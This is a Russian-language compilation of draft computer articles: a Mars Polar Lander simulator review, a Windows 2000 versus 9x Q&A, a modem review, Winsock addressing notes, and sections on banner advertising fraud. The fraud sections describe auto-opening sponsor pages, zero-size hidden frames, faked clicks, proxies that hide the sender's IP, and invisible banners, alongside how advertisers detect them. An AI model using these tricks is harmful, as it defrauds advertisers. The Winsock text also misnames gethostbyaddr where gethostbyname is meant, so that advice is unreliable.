Больше всего в сегодняшних американцах мне нравится их открытость. "Свобода слова и печати" для них не пустой звук. И правда, не успеет иной космический телескоп сделать очередной снимок, как тот уже доступен на сайте NASA (www.nasa.gov). В качественной, неискаженной форме, пригодный не только для восторженных восхищении ("смотри-ка яка красива гарна галактика!" {>>>>> сноска http://www.seds.org/hst/96-29a.html}), но и научных целей. Есть желание посмотреть взрыв «Челленджера»? Нет проблем, скачивайте mpeg с ftp сервера NASA {>>>> сноска Этот же файл можно утянуть и  с быстрого томского  сервера  http://jump.telecom.tomsk.su/video/51-l-launch2.mpg} или закажите CD диск!

В свете этого предоставление публичной версии симулятора космического аппарата Mars Polar Lander (обломки которого ныне покоятся среди дюн Марса) удивления не вызывает. NASA свободно раздает фрагменты кода, который предназначался для реального управления аппаратом.

Впрочем, как научная, так и стратегическая ценности симулятора сомнительны. Зато познавательная несомненна. Одно дело - летать на точной копии реактивного истребителя (которым сегодня никого не удивишь), совсем другое - окунуться в атмосферу центра управления космическими полетами. Почувствовать себя на секунду настоящим испытателем. Бесспорно, это уникальная игрушка, аналогов которой назвать невозможно.

Немало азарта добавляет практически полное отсутствие документации (что не характерно для NASA). Обладая далеко не визуальным интерфейсом (нечто вроде макроязыка) симулятор становится хорошей головоломкой для взрослых (или детей, настойчиво перебирающих все возможные комбинации).

Найти его можно на официальном сайте Mars Polar Lander (http://mars.jpl.nasa.gov/msp98/index.html) для чего следует кликнуть по ссылке  "Command your own Polar Lander" – Управляйте вашим собственным Mars Polar Lander-ом, http://mars.graham.com/mplwits которая вскоре приведет нас к заветной "Download Page".


Выясняется, что симулятор написан на Java и, кроме, собственно, самого симулятора необходимо установить Java Runtime Environment (5.2 мегабайта) и Java 3D (1.8 мегабайт). К слову сказать, оба компонента не являются собственностью NASA и достаточно широко распространены, чтобы их было можно найти в ближайшем ларьке, торгующим компакт-дисками известного происхождения.

Если же пиратство претит вашим пуританским взглядам (а почему бы и нет?), то можно скачать эти компоненты с любого из десятка серверов, заботливо предлагаемых NASA. Лично у меня самым быстрым оказался далеко не ближний Японский сервер.

Сам же симулятор находится на единственном сервере NASA и отдается на растерзание только после заполнения удивительно короткой регистрационной формы. Скачивать лучше всего в дневные часы, - ночью (то есть американским днем) сервер очень часто оказывается перегруженным и выдает байты каплями -  в час по чайной ложке.

Пока мегабайты падают на наши жесткие диски, полезно ознакомится с необычайно коротким и лаконичным руководством пользователя (спасибо, что хоть такое дали). Оказывается, что публичная версия немного отличается от оригинальной. Впрочем, различия для большинства пользователей окажутся некритичны.

Так, например, подлинные команды миссии удалены и заменены эквивалентными. Именно так, во всяком случае, утверждает NASA, вероятно, полагая, что эквивалентность не влечет за собой  идентичность (иначе, зачем же тогда их было заменять?)

Аналогично, подлинная кинематика движения руки-манипулятора робота удерживается в секрете –"arm kinematics were removed and replaced by equivalent kinematics" - NASA не хочет расставаться с секретами конструктивных особенностей своего аппарата.

Если эти два отличия средне взятому обывателю сугубо "фиолетовы", то вот упрощение рельефной трехмерной поверхности Марса до невыразительной плоскости бурого цвета огорчит кого угодно. Впрочем, это ограничение связано с недостаточной мощностью бытовых "персоналок" для подобных расчетов, а вовсе не повышенной секретностью.



К счастью, сам объект симуляции изображен трехмерно с детальной проработкой всех узлов в отдельном окне, позволяющим произвольно менять позицию наблюдателя – при желании можно рассматривать аппарат хоть снизу-вверх (кстати, в таком положении  его узлы видны наиболее отчетливо)!



Рисунок 47 3.jpg Внешний вид Mars Polar Lander



Рисунок 48 2.jpg Изображения телекамер

Рядом показан небольшой детализированный фрагмент поверхности Марса (сектор с углом охвата градусов эдак пятнадцать). О полной же, круговой, панораме приходится только мечтать. Или в очередной раз лезть в Интернет, за недостающими изображениями (http://mars.graham.com/mplwits/).

Впрочем, большинство пользователей будут больше озабочены головной болью, как же стронуть эту "радость" с места. Ничего похожего на рычаги управления и педали скоростей как-то не наблюдается.

Ругнувшись еще раз на отсутствие документации (это же надо, что бы вот так, несерьезно!) отправимся на сайт NASA почитать описание оригинального аппарата (http://mars.jpl.nasa.gov/msp98/images/landingsite1.html).

Выясняется, что Mars Polar Lander вовсе не "марсоход", а, скорее, "марсостой" - стационарная, неподвижная станция, снабженная лишь рукой-манипулятором, практически единственным, чем можно с помощью симулятора управлять.

"Практически" - за исключением камеры, которая и передает видимую панораму. Кроме движений самой камеры, симулятор позволяет поиздеваться над "снимаемыми" изображениями – уменьшать или увеличивать яркость, повышать контраст, даже обрабатывать специальными фильтрами для подчеркивания мельчайших деталей рельефа.

Впрочем, возня с графикой быстро надоедает (уж лучше заглянуть в PhotoShop – там набор фильтров намного богаче). Куда интереснее почувствовать в своих руках манипулятор далекого космического агрегата.

Впрочем, "в руках" сказано слишком громко. Все управление реализовано на макроязыке, описание которого напрочь отсутствует, и все что есть - пара примеров программ, доступных для изучения.



Для их запуска необходимо выбрать в меню "Windows" главного окна пункт "Sequence Execution Window" и в появившимся окне кликнуть по кнопочке "Batch". Тут же трехмерное изображение агрегата оживет, придет в движение, сопровождаемое трассировкой (то есть отслеживанием) текущих выполняемых команд.

Играбельный момент всей этой сцены был бы сомнителен, если бы программа ни имитировала реальные (то есть, как мы помним не подлинные, но все же аналогичные) действия взаправду существующего космического аппарата.

До этого момента игроки могли сидеть лишь в кабинах вымышленных космических кораблей. Пусть и красочно нарисованных, но не существующих в природе. Единицы жителей планеты Земля могут похвастаться тем, что сидели за рулем настоящего "марсохода". Сегодня дверь в Тайну приоткрыта. Посмотрим, что будет дальше. Может быть и впрямь, завтра появится возможность управлять реальным марсоходом через Интернет…


A: В чем преимущества Windows 2000 по сравнению с 9x?


Древние говорили – выбирая Бога, вы выбираете судьбу. Ничего не могу сказать на счет богов, но вот выбор операционной системы – дело серьезное. Одна Microsoft предлагает на выбор Windows 98, Windows NT, Windows 2000, Windows Me, да и новые операционные системы не за горами.

Работать под Windows 98 (а кто-то до сих пор сидит и под Windows 95) по-прежнему можно, но вроде как "несолидно" – другие, понимаешь, уже летать начали, а мы все сидим на шкурах мамонтов и добываем огонь трением.

Может, следует, набравшись духа, поставить Windows 2000? Помимо зова моды, здесь замешены и чисто практические интересы – глядишь, компьютер надежнее работать будет. Говорит же реклама, что Windows 2000 – самая надежная в мире система. А капризы "народной" Windows 98 так надоели…

На самом же деле, Windows98 OS2 (точнее тот ее код, что бы написан фирмой Microsoft, ибо к Windows приложили руку программисты многих компаний) представляет собой достаточно качественный продукт. Путь, не без ляпов, но при должной настройке, после "шаманской" возни с реестром, устойчиво и надежно работающий. А корни нестабильного поведения (если таковое наблюдается) растут из-за кривых драйверов сторонних разработчиков, железа немерной желтизны или же ошибок прикладных программ.

??? Рисунок "карикатура" Шаман бегает вокруг компьютера с Windows

В Windows 2000 включено множество новых драйверов и учтены многие особенности "китайского" железа, поэтому, вполне возможно, что установка этой системы, решит все (или почти все) ваши проблемы. Однако ставить Windows 2000 только для того, чтобы убрать имеющиеся конфликты, – слишком уж расточительное решение, тем более, не факт, что она действительно их уберет, а не добавит новых.

Последнее вполне вероятно. Чтобы ни утверждала Microsoft насчет качества тестирования своего детища, даже беглый взгляд на список исправлений пакета обновления Service Pack 1, убеждает в обратном, – ошибки в Windows-ах были, есть и будут!


Поэтому закроем глаза на ошибки, смирившись с ними как с неизбежным злом, и посмотрим, какие возможности Windows 2000 будут полезны домашнему пользователю. В первую очередь это быстродействие (или его отсутствие – смотря как посмотреть). По поводу производительности Windows 2000 в народе ходят два мнения: одних возмущает ее "аристократическая неторопливость", другие же, напротив, восхищаются быстротой реакции – не успел мышкой кликнуть, как все готово! В чем же дело, может быть, у первых просто скорости процессора не хватает? Ничуть! На моем позором доисторическом CELERON-300A Windows 2000 просто "летает", – все приложения грузятся практически мгновенно и даже такие монстры, как PhotoShop и Visual Studio, совсем не тормозят. Весь "секрет" в оперативной памяти – ее установлено 256 мегабайт. С таким количеством RAM Windows 2000 работает намного быстрее Windows 98, но стоит ее уменьшить до 64-128 мегабайт, как разница в производительности практически

сотретсястирается, а на 32 "метрах" работа с Windows 2000 представляет сплошное мучение.

К сожалению, 128 и более мегабайт на сегодняшний день все еще остается роскошью, и большинство компьютеров комплектуются значительно меньшим количеством оперативной памяти. Но дополнительные 64 мегабайта стоят, по крайней мере, вдвое дешевле, чем дополнительные 300-500 мегагерц, а ускорения дают больше! Словом, если вы стеснены быстродействием, стоит подумать о модернизации компьютера и установке Windows 2000.

Другой немаловажный момент – защита и разграничение доступа информации. Помните тот случай, когда позарез необходимый к завтрашнему доклад, набранный в Word ценой бессонных ночей, в последний момент оказался безжалостно уничтожен злобным вирусом, занесенным на компьютер сынишкой? Что поделаешь, семейный компьютер - предмет коллективного использования и как ни запрещай своим домашним ставить на него что попало, как ни отнимай у них диски сомнительного происхождения, - им все равно играть охота!



Что же, Windows 2000 поможет отцу русской демократии! Создайте для сына (дочки) нового пользователя с ограниченными правами ("Пуск à

Панель управления à

Пользователи и пароли; установить галочку "требовать ввод имени и пароля"; нажать кнопку "Добавить", ввести имя и пароль создаваемого пользователя, а затем выбрать "ограниченный доступ" и нажать кнопочку "готово"). Запускать игры и другие безобидные программы он сможет, а вот видеть ваши документы или испортить систему – нет (хотя, дети сейчас все как один одаренные и с легкостью портят то, что никакому хакеру сломать не под силу).

Да и отцу семейства постоянно входить в систему с правами администратора совсем ни к чему (а именно так и происходит по умолчанию) – гораздо спокойнее работать под "пользователем", не имеющим возможности модифицировать системные и исполняемые файлы, как бы ни было велико это желание. Если какой вирус удостоит вас своим посещением, то тут же отправится восвояси, ибо размножаться не сможет. То же относится и к документам – когда набранный тест (электронная таблица, баланс или рисунок) полностью готов, - временно войдите в систему с правами администратора ("Пуск à

Завершить сеанс Ваше Имя") и запретите его модификацию (свойства файла, вкладка "Безопасность", снять галочки "изменить" и "запись"), оставляя лишь право на чтение. Пусть попробуют выжить вездесущие макровирусы в этой стерильной среде!

>>>>> Врезка:

Помимо этого Windows 2000 очень хорошо защищает и от случайных сбоев, например, выключения питания в момент запуска оптимизатора диска или зависания компьютера в момент сохранения файла на диск.

А для сокрытия содержимого секретных документов от не в меру любопытных глаз (например, спецслужб) предусмотрена возможность шифрования как отдельных файлов, так и целых папок (свойства файла или паки, вкладка "Общие", нажмите кнопку "Другие" и в открывшимся диалоговом окне установите галочку "Шифровать содержимое для защиты данных")



Замечательно, что при этом не требуется постоянного ввода пароля, - автоматически используется тот, под которым вы вошли в систему, и зашифрованный файл внешне ничем не отличается ото всех остальных. За исключением того, что прочесть его сможете только вы, и никто другой (даже администратор системы). А для экономии места можно на лету упаковывать любые выбранные файлы, а не весь диск целиком, как это было в Windows 95\98. (свойства файла или паки, вкладка "Общие", нажмите кнопку "Другие" и в открывшимся диалоговом окне установите галочку "Сжимать содержимое для экономии места на диске"). К сожалению, атрибуты сжатия и шифрования исключают друг друга, поэтому придется выбирать что-то одно.

Весь этот табун замечательных возможностей и пуленепробиваемую защиту обеспечивает, строго говоря, не сама Windows 2000, а файловая система NTFS. Диски, размеченные под FAT и FAT32, даже под новой системой практически ничем не защищены, поэтому, если уж и ставить Windows 2000, то только на NTFS.

До недавнего времени в Windows NT, такое решение несло не только блага, но и риск потери доступа к данным, - если вдруг случится что и система "ляжет", вместе с ней "лягут" и все NTSF-диски, ибо старая добрая MS-DOS, заботливо сохраненная на загрузочной дискете, их просто не "видит". Администратору корпоративной сети такой "полег" – не помеха, - он просто возьмет винчестер с "мертвой" NT и подключит его к компьютеру со здоровой системой, колдуя над которой, покойницу и воскресит, или, по крайней мере, скопирует оттуда все важные данные и файлы. Но для домашнего пользователя такой способ не приемлем, - где же он возьмет рабочую NT, да еще в четыре часа ночи (а по закону бутерброда самые коварные аварии случаются как раз под утро, когда так страшно хочется спать)?

Разработчики Windows 2000 учили это и поддержали, так называемую, консоль восстановления. Если говорить упрощенно – эта та же MS-DOS, загруженная с дискетки (в количестве четыре штуки) или родного компакт-диска, со встроенными утилитами для восстановления таких критически важных персон, как MBR (главная загрузочная запись) или BOOT-сектор (сектор загрузки). В контекстной помощи Windows 2000 рассказано, как с помощью программы архивации создать резервную копию важнейших файлов системы, и как восстановиться с нее в случае аварии.



Вкратце, загрузившись с установочных дискет или CD-диска с Windows 2000, выберите пункт "Чтобы восстановить Windows 2000, нажмите <R>", нажав, как и просят, клавишу <R>, а за ней клавишу <C> - "Для исправления установки Windows 2000 через консоль восстановления нажмите <C>". Остается выбрать систему (если их установлено больше одной) и ввести пароль администратора. К сожалению, с консоли восстановления доступ открыт не ко всем файлам, а только принадлежащим системе и просто так скопировать важные данные на дискету не получится. Но можно попробовать восстановить диск командами CHKDSK, FIXMBR и FIXBOOT.

Другая полезная утилита, - SFC.EXE, - доступная непосредственно из Windows 2000, сканирует системные файлы на предмет поиска в них искажений, а случись ей такие обнаружить – предложит все восстановить с резервной копии, автоматически создаваемой при установке системы. Очень помогает при сбоях и подозрениях на заражение вирусом! (Ради справедливости отметим, что такая же утилита есть и в Windows 98).

Словом, разработчики Windows 2000 приложили немало усилий к защите и эту систему не так-то просто "уронить". Но не стоит питать иллюзий будто бы вашему спокойствию вообще

ничего не угрожает. Увы, ничто по-настоящему не надежно в нашем подлунном мире! Впрочем, если Windows 2000 не остановит взломщика, по крайней мере, она заставит его попотеть. А кому интересно такими усилиями ломать "домашнего" пользователя? Совершенно верно – никому, поэтому, можно смело чувствовать себя в относительной безопасности.

Но, помимо описанных выше достоинств, Windows 2000 несет в себе одну очень неприятную вещь – никакие MS-DOS программы, требующие прямого доступа к аппаратуре, под этой операционной системой работать не будут. В первую очередь это относится к игрушкам (все они играют музыку, дергая звуковую карту за порты), различным графическим программам, переводящим дисплей в нестандартный режим, наконец, под Windows 2000 не работают программы, защищенные ключевыми дисками и прочими нестандартными приемами программирования.



Поэтому, прежде чем менять операционную систему, хорошо бы убедиться, что все необходимые вам приложения в ней успешно работают или имеют себе замену. Убедится-то хорошо, да вот как? Не выяснять же это установкой Windows 2000?! Конечно, нет. На CD-диске в каталоге SUPPORT находится замечательная утилита как раз для такой проверки и предназначенная.

Иногда в печати и в телеконференциях промелькивает утверждение, что, дескать, необязательно ради Windows 2000 отказываться от старой доброй Windows 98 – обе эти системы могут прекрасно уживаться вместе. Если нужная программа не работает в Windows 2000 – запускай Windows 98 и наслаждайся жизнью. К сожалению, не все так радужно как на словах. Поставить-то две системы на один диск, конечно, можно, но вот будет ли от этого хоть какой ни будь прок? (Чтобы установить обе системы на один диск – достаточно поставить Windows 2000 поверх Windows 9x\Me, она спросит: "следует обновить уже имеющуюся систему или установить новую?" – ответьте "установить новую", тогда Windows 2000 автоматически добавит собственный boo-tменеджер, позволяющий при старте компьютера выбрать какую именно операционную систему следует загружать.)

Windows 9x не поддерживает NTSF и придется обе системы ставить на FAT. А FAT – это полное отсутствие защиты и возврат в средневековье. Разбить диск на несколько разделов – FAT для Windows 98, а NTFS – для Windows 2000 – идея хорошая, но не выдерживающая никакой критики. Ведь в этом случае, Windows 9x приложения, не увидят документов, хранящихся на диске с Windows 2000, а если их перенести на диск Windows 98, то зачем вообще ставить Windows 2000?

Плохая совместимость с древним программным обеспечением – основой недостаток Windows 2000, от которого никуда не уйти. Как бы ни было велико желание получить и то, и другое – приходится делать выбор – либо новая Windows 2000, либо старые приложения, но не все вместе сразу!

Родственные вопросы:

Какая операционная система самая надежная?


ACORP 56K


"Дешево и сердито" – вот главный девиз тайваньской фирмы "ACORP Electronic Corporation". При чтении технического руководства сего изделия, купленного по случаю распродажи у одного предпринимателя всего за сто пятьдесят рублей {>>>> сноска цена на момент 2001 года}, у автора возникло устойчивое впечатление, что ACORP – в натуральном смысле слова "кастрированный" модем. Помните, как у Вини - Пуха – "это неправильные пчелы, и они несут неправильный мед".

Адоптивной подстройки под линию нет, ручной регулировки уровней сигнала нет, измеритель АЧХ напрочь отсутствует, а сбор статистики краток до безобразия, реле, отключающее параллельный телефон, и не ночевало, и в довершении ко всему этому – неустойчивое распознание сигнала "занято".

Словом, ACORP 56K – это модель для хороших телефонных линий и непритязательных пользователей, любителей же "шаманить" с настройками этот модем навряд ли удовлетворит ввиду отсутствия возможности настройки вообще – эдакий "кодак-автомат", имеющий только одну кнопку – "спуск". ???? Рисунок "карикатура" – обыграть!

По своему личному опыту автор может сказать, что на местных линиях среднего качества модем вполне стабильно держит соединение 14.400\19.200, работая круглыми сутками напролет. Но вот на междугородке… даже при хорошо настроенной аппаратуре уплотнения связи при скорости 19.200 связь разрывается не реже, чем через 60-80 минут, а в среднем – каждые 15-20 минут. Модемы же 3Com US Robotics Courier V. Everything и ZyXEL OMNI 56K в тех же условиях без нареканий работают на 28.800, причем ZyXEL эпизодически соединяется и на более высоких скоростях.

Возможности:

Подстройка уровня выходного сигнала                     нет

Подстройка уровня входного сигнала                        нет

Механизм адаптивной настройки на линию            нет

Измеритель АЧХ линии                                                   нет

Сбор статистики соединения                                         краткий


Жидкокристаллический экран                                      нет

Ограничение скорости соединения                              есть

Реле для отключения параллельного телефона       нет

Распознает сигнал занято                                               нет

Встроенный АОН                                                              нет

Встроенный Автоответчик                                             нет

Чипсет                                                                                   Rockwell

Характеристики линии и соединения, определяемые модемом в режиме сбора статистики:

Протокол связи                                                                  да

Скорость приема \ передачи                                          да

Частота несущей приемника \ передатчика              нет

Отношение сигнал \шум                                                  да, последняя + максимальная

Уровень входного сигнала                                             да

Уровень выходного сигнала                                          нет

Задержка возврата эха                                                    нет

Уровень ближнего эха                                                     нет

Уровень дальнего эха                                                      нет

Дрожание фазы                                                                  нет

Сдвиг частоты                                                                    нет

Условное качество линии                                               да

Измерение АЧХ                                                                  нет

Количество переданных блоков                                   нет

Количество блоков, переданных с ошибками          нет



Рисунок 15 Рис. Acorp. bmp Внешний вид модема ACORP 56K


Адрес раз, адрес два…


С адресами как раз и наблюдается наибольшая путаница, в которую не помешает внести немного ясности. Прежде всего структура sockaddr определенная так:

struct sockaddr

{

u_short     sa_family;  // семейство протоколов (как правило AF_INET)

char  sa_data[14];      // IP-адрес узла и порт

};

Однако, теперь уже считается устаревшей, и в Winsock 2.x на смену ей пришла структура sockaddr_in, определенная следующим образом:

struct sockaddr_in

{

short       sin_family;           // семейство протоколов (как правило AF_INET)

u_short  sin_port;                                // порт

struct      in_addr sin_addr;                // IP – адрес

char        sin_zero[8];           // хвост

};

В общем-то ничего не изменилось (и стоило огород городить?), замена безнакового короткого целого на знаковое короткое целое для представления семейства протоколов ничего не дает. Зато теперь адрес узла представлен в виде трех полей – sin_port (номера порта), sin_addr (IP-адреса узла) и "хвоста" из восьми нулевых байт, который остался от четырнадцати символьного массива sa_data. Для чего он нужен? Дело в том, что структура sockaddr не привязана именно к Интернет и может работать и с другими сетями. Адреса же некоторых сетей требуют для своего представления гораздо больше четырех байт, - вот и приходится брать с запасом!

Структура in_addr определяется следующим в образом:

struct in_addr {

union {

struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;          // IP-адрес

struct { u_short s_w1,s_w2; } S_un_w;                          // IP-адрес

u_long S_addr;                                                                    // IP-алрес

} S_un;

}

Как видно, она состоит из одного IP-адреса, записанного в трех "ипостасях" – четырехбайтовой последовательности (S_un_b), пары двухбайтовых слов (S_un_W) и одного длинного целого (S_addr) – выбирай на вкус… Но не все так просто! Во многих программах, технических руководствах и даже демонстрационных примерах, прилагающихся к Winsock SDK, встречается обращение к "таинственному" члену структуры s_addr, который явно не описан в SDK! Например, вот строка из файла "Simples.h": "local.sin_addr.s{<<<выделить 's' жирным}_addr = (!interface)?INADDR_ANY:inet_addr(interface);"


Это что такое?! Заглянув в файл "winsock2.h" можно обнаружить следующее: "#define s_addr S_un.S_addr". Ага, да ведь это эквивалент s_addr, т.е. IP-адресу, записанному в виде длинного целого!

На практике можно с одинаковым успехом пользоваться как "устаревшей" sockaddr, так и "новомодной" sockaddr_in. Однако, поскольку, прототипы остальных функций не изменились, при использовании sockaddr_in придется постоянно выполнять явные преобразования, например так: "sockaddr_in dest_addr; connect (mysocket, (struct sockaddr*) &dest_addr, sizeof(dest_addr)".

Для преобразования IP-адреса, записанного в виде символьной последовательности наподобие "127.0.0.1" в четырехбайтовую числовую последовательность предназначена функция "unsigned long inet_addr

(const char FAR * cp )". Она принимает указатель на символьную строку и в случае успешной операции преобразует ее в четырехбайтовый IP адрес или –1 если это преобразование невозможно. Возвращенный функцией результат можно присвоить элементу структуры sockaddr_in следующим образом: "struct sockaddr_in dest_addr; dest_addr.sin_addr.S_addr=inet_addr("195.161.42.222");". При использовании структуры sockaddr это будет выглядеть так: "struc sockaddr dest_addr; ((unsigned int *)(&dest_addr.sa_data[0]+2))[0] = inet_addr("195.161.42.222");"

Попытка передать inet_addr доменное имя узла приводит к провалу. Узнать IP-адрес такого-то домена можно с помощью функции "struct hostent FAR * gethostbyname (const char FAR * name);". Функция обращается к DNS и возвращает свой ответ в структуре hostent или нуль если DNS сервер не смог определить IP-адрес данного домена.

Структура hostent выглядит следующим образом:

struct hostent

{

char FAR *           h_name;                                // официальное

имя узла

char FAR * FAR* h_aliases;             // альтернативные имена узла (массив строк)



short                       h_addrtype;          // тип адреса

short                       h_length;               // длина адреса (как правило AF_INET)

char FAR * FAR * h_addr_list;        // список указателей на IP-адреса

// ноль – конец списка

};

Как и в случае с in_addr, во множестве программ и прилагаемых к Winsock SDK примерах активно используется недокументированное поле структуры h_addr. Например, вот строка из файла "simplec.c" "memcpy(&(server.sin_addr),hp->h_addr,hp->h_length);"  Заглянув в "winsock2.h" можно найти, что оно обозначает: "#define h_addr  h_addr_list[0]".

А вот это уже интересно! Дело в том, что с некоторыми доменными именами связано сразу несколько IP-адресов. В случае неработоспособности одного узла, клиент может попробовать подключится к другому или просто выбрать узел с наибольшей скоростью обмена. Но в приведенном примере клиент использует только первый IP адрес в списке и игнорирует все остальные! Конечно, это не смертельно, но все же будет лучше, если в своих программах вы будете учитывать возможность подключения к остальным IP-адресам, при невозможности установить соединение с первым.

Функция gethostbyname ожидает на входе только доменные имена, но не цифровые IP-адреса. Между тем, правила "хорошего тона" требуют предоставления клиенту возможности как задания доменных имен, так и цифровых IP-адресов.

Решение заключается в следующем – необходимо проанализировать переданную клиентом строку – если это IP адрес, то передать его функции inet_addr в противном случае – gethostbyaddr, полагая, что это доменное имя. Для отличия IP-адресов от доменных имен многие программисты используют нехитрый трюк: если первый символ строки – цифра, это IP-адрес, иначе – имя домена. Однако, такой трюк не совсем честен – доменные имя могут начинаться с цифры, например, "666.ru", могут они и заканчиваться цифрой, например, к узлу "666.ru" члены cубдомена "666" могут так и обращаться – "666". Самое смешное, что (теоретически) могут существовать имена доменов, синтаксически неотличимые от IP-адресов! Поэтому, на взгляд автора данной статьи, лучше всего действовать так: передаем введенную пользователем строку функции inet_addr, если она возвращает ошибку, то вызываем gethostbyaddr.

Для решения обратной задачи – определении доменного имени по IP адресу предусмотрена функция "struct HOSTENT FAR * gethostbyaddr (const char FAR * addr, int len, int type)", которая во всем аналогична gethostbyname, за тем исключением, что ее аргументом является не указатель на строку, содержащую имя, а указатель на четырехбайтовый IP-адрес. Еще два аргумента задают его длину и тип (соответственно, 4 и AF_INET).

Определение имени узла по его адресу бывает полезным для серверов, желающих "в лицо" знать своих клиентов.

Для преобразования IP-адреса, записанного в сетевом формате в символьную строку, предусмотрена функция "char FAR * inet_ntoa

(struct in_addr)", которая принимает на вход структуру in_addr, а возвращает указатель на строку, если преобразование выполнено успешно и ноль в противном случае.


ALMA MATER


Основное подспорье в изучении сокетов - Windows Sockets 2 SDK. SDK - это документация, набор заголовочных файлов и инструментарий разработчика. Документация не то, чтобы очень хороша – но все же написана достаточна грамотно и позволяет, пускай, не без труда, освоить сокеты даже без помощи какой-либо другой литературы. Причем, большинство книг, имеющиеся на рынке, явно уступают Microsoft в полноте и продуманности описания. Единственный недостаток SDK – он полностью на английском (для некоторых это очень существенно).

Из инструментария, входящего в SDK, в первую очередь хотелось бы выделить утилиту sockeye.exe – это настоящий "тестовый стенд" разработчика. Она позволяет в интерактивном режиме вызывать различные сокет-функции и манипулировать ими по своему усмотрению.

Демонстрационные программы, к сожалению, не лишены ошибок, причем порой довольно грубых и наводящих на мысли – а тестировались ли эти примеры вообще? (Например, в исходном тексте программы simples.c в вызове функций send и sendto вместо strlen стоит sizeof) В то же время, все примеры содержат множество подробных комментариев и раскрывают довольно любопытные приемы нетрадиционного программирования, поэтому ознакомится с ними все-таки стоит.

Из WEB-ресуросов, посвященных программированию сокетов, и всему, что с ними связано, в первую очередь хотелось бы отметить следующие три: sockaddr.com; www.winsock.com и www.sockets.com.



Авто-клик


Существует множество способов заставить посетителя нажать на баннер. Например, для доступа к такому-то ресурсу можно потребовать пароль – третье слева слово в заголовке сайта спонсора. Хочешь – не – хочешь, а нажимать надо. Некоторые, особо алчущие, даже заставляют излазить сайт спонсора вдоль и поперек, а то – и зарегистрироваться на нем!

Подобные приемы абсолютно законны с точки зрения рекламодателя, но очень напрягают посетителей, уменьшая их количество. Возникает задача: и страницу спонсора открыть, и посетителям угодить.

Чаще всего злоумышленники прибегают к автоматически открывающимся страницам, вставляя JavaScript приблизительно следующего содержания: 'window.open("http://mysponsor.com")'. Однако большинство посетителей успевают закрыть "лишние" окна задолго до их полной загрузки и это позволяет спонсору легко распознать левые накрутки – достаточно засчитывать только те заходы на страницу, когда все ее элементы загружаются целиком.

Некоторые злоумышленники используют более продвинутый способ обмана – открывают страницы в фреймах нулевого размера. Они загружаются скрытно от посетителей, даже и не подозревающих, что происходит за их спиной! Практически все современные браузеры поддерживают фреймы и такой трюк никаких проблем не вызывает.

Может ли рекламодатель разоблачить обман? Разумеется да, – если пользователь зашел на страницу, но не нажал ни одной ссылки, то, скорее всего, это никакой не пользователь, а его имитация и такой заход засчитывать не надо. Правда, это решение может вызвать протест легальных web-мастеров: если пользователь зашел к спонсору, но, так ничем и не заинтересовавшись, ушел оттуда, – это проблема рекламодателя, а не того, кто его рекламирует!

С другой стороны, при необходимости злоумышленник сможет имитировать и нажатие ссылок, причем вполне правдоподобно. Для этого ему достаточно на разных страницах своего сайта спрятать в фреймах разные страницы спонсора. Статистический анализ не позволит распознать обман и придется прибегать к довольно сложным приемам – например, создавать ссылки в виде графических объектов и передавать на сервер координаты мыши в момент их нажатия. Злоумышленнику будет достаточно сложно правдоподобно имитировать клики и частотный анализ выдаст его с головой. Правда, он, в свою очередь, может использовать такие же ссылки на своей странице и передавать мышиные координаты серверу в точности имитируя поведение посетителя на скрытой странице.

Одним словом – классическое противостояние меча и щита. Совершенствуются механизмы защиты, но и злоумышленники не сидят на месте, придумывая все более хитрые трюки, и… все возвращается на круги своя.



Автоматизированная накрутка


Основу автоматизированной "крутилки" баннеров составляет скрипт, посылающий определенные HTTP-запросы и исполняющийся, как правило, на удаленном сервере, предоставляющим бесплатный хостинг, реже – на компьютере клиента.

Если злоумышленник, накручивая баннер, не меняет при каждом запросе свой IP-адрес, он выдает себя с головой. Традиционное оружие обмана – анонимные Proxy-сервера, выполняющие запрос злоумышленника от своего имени. Существует не столь уж много таких серверов – какой-то десяток тысяч, а то и меньше. Вполне реально собрать их в один список и проверять IP-адрес клиента на совпадение. Просто? Да! Эффективно? Нет!

Хитрому злоумышленнику такая проверка – не помеха. Скрыть свой IP можно десятками способов – для этого вовсе не обязательно обращаться к Proxy-серверу. Ничуть не хуже подойдет telnet, http с поддержкой cgi, анонимный ftp-сервер…



Баннеры-невидимки


Зависимость доходов от количества баннеров на странице отнюдь не линейна. Изобилие баннеров отрицательно сказывается на посещаемости, и, – хуже того, – склоняет посетителей к использованию "баннеро-резалок" – программ, блокирующих загрузку баннеров, и за счет этого обеспечивающих большую скорость работы.

Нередко злоумышленниками предпринимаются попытки сокрытия факта присутствия баннеров уменьшением их размера до нуля пикселей. Это не препятствует загрузке баннеров с сервера, но в таком виде они не портят дизайн страницы и не отталкивают посетителей. Довольны все, за исключением рекламодателя.

Большинство спонсоров запрещают каким-либо образом изменять HTML-код, отображающий баннер, но злоумышленникам такой запрет – не указ. Одних запретов мало – спонсор должен уметь контролировать целость своего кода. А это отнюдь не так просто, как может показаться на первый взгляд!

Загружая картинку с сервера, браузер не сообщает ему адреса текущей страницы, и сервер не может определить откуда пришел запрос. Как же тогда он сможет проконтролировать неискаженность своего кода?

На первый взгляд проблему можно решить принудительной передачей адреса текущей страницы. Поскольку, Java допускает установку соединения только с тем узлом, с которого была загружена страница, приходится идти на хитрость – с помощью функции write "на лету" вставлять в страницу тег img, автоматически исполняющий cgi-скрипт, расположенный на сайте рекламодателя, и передающий ему URL текущей страницы с помощью метода location объекта document. Упрощенно это может выглядеть так:

d=document;

d.write("<IMG SRC=http://www.banner.com/reclama.cgi?UserID&"+d.location+">");

Неоправданная популярность данного приема вызывает удивление. Вот далеко не полный перечень присущих ему недостатков. Во-первых, URL страницы может содержать конфиденциальные данные, например, пароли посетителя или номера его кредитных карт. Если пользователи узнают, что эти сведения передаются в чужие руки – может разразиться бааальшй скандал. Во-вторых, для динамических страниц, взаимодействующих с клиентом методом POST, понятие URL теряет всякий смысл. В-третьих, злоумышленник может так подправить HTML-код, чтобы он всегда возвращал адрес заранее заготовленной страницы, а не той, которую просматривает пользователь. Рекламодатель может лишь убедиться в неискаженности собственного HTML-кода на некоторой страничке, но бессилен определить – эту ли страницу просматривают пользователи или совсем другую.

Наконец, верификация HTML-кода многократно увеличивает нагрузку на сервер рекламодателя, что не всегда приемлемо. Поэтому, большинство рекламодателей по экономическим соображениям отказываются от автоматизированного контроля целостности своего HTML-кода.

Проверить: действительно ли посетители страницы увидели баннер или нет – невозможно. Некоторые, достаточно многие, рекламодатели предпочитают оплачивать только клики, но не засчитывают "холостые" показы сколько бы их ни было. В этом случае владелец web-страницы должен сам заботиться о том, чтобы посетители видели баннеы и как можно чаще нажимали на них.



Безопасность


